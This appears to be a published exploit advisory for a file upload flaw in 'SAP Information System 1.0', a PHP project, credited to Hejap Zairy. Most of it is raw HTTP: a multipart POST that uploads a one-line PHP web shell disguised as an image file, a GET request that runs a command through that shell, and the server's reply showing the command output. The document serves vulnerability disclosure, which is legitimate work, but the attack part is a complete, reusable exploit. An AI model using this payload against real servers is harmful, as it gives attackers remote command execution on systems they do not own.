# Title: SAP Information System   1.0  Shell Upload
# Author: Hejap Zairy
# Date: 05.04.2022
# Vendor: https://www.sourcecodester.com/php/15262/sap-information-system-using-phppdo-oop.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/SAP_Information_System.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.jpg files in attachments section with use of intercept tool in burbsuite to edit the raw


#vulnerability Code  php
Needs more filtering to upload profile files

```
  <script>
           $(document).ready(function() {   
               load_data();    
               var count = 1; 
               function load_data() {
                   $(document).on('click', '.edit-image', function() {
                        var beneficiaries_id = $(this).data("image");
                          get_image(beneficiaries_id); //argument    
                 
                   });
                }
                 function get_image(beneficiaries_id) {
                      $.ajax({
                          type: 'POST',
                          url: 'fetch_row/beneficiaries_row.php',
                          data: {
                              beneficiaries_id: beneficiaries_id
                          },
                          dataType: 'json',
                          success: function(response3) {
                          $('#img_beneficiariesid').val(response3.beneficiaries_id);
                          $('#img_imageprofile').attr("src", '../../'+ response3.image_profile.slice(0));//image

                       }
                    });
                 }
           });
     </script>
```


[+] Payload POST


```
POST /SAP_Information_System/controllers/edit_householdImage.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------3440160751499277351272200964
Content-Length: 1343
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/SAP_Information_System/Dashboard/pages/Beneficiaries.php
Cookie: PHPSESSID=rcumpt42s3tngl4b74i4ndrpl9
-----------------------------3440160751499277351272200964

Content-Disposition: form-data; name="image_profile"; filename="0day_hejap.png.php"

Content-Type: image/jpg

<?=`$_GET[515]`?>
-----------------------------3440160751499277351272200964
Content-Disposition: form-data; name="beneficiaries_id"
5
-----------------------------3440160751499277351272200964--
```


#Status: CRITICAL

[+] Payload GET

```
GET /SAP_Information_System/Uploads/0day_Hejap.php?515=echo+Hejap+Zairy HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

#Response 
```
HTTP/1.1 200 OK
Date: Tue, 05 Apr 2022 17:56:20 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 12
Connection: close
Content-Type: text/html; charset=UTF-8

Hejap Zairy
```


# Description:
The file upload  bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.


# Proof and Exploit:
https://i.imgur.com/65biZn6.png
https://i.imgur.com/kNOA8dT.png
https://i.imgur.com/LMlTPww.png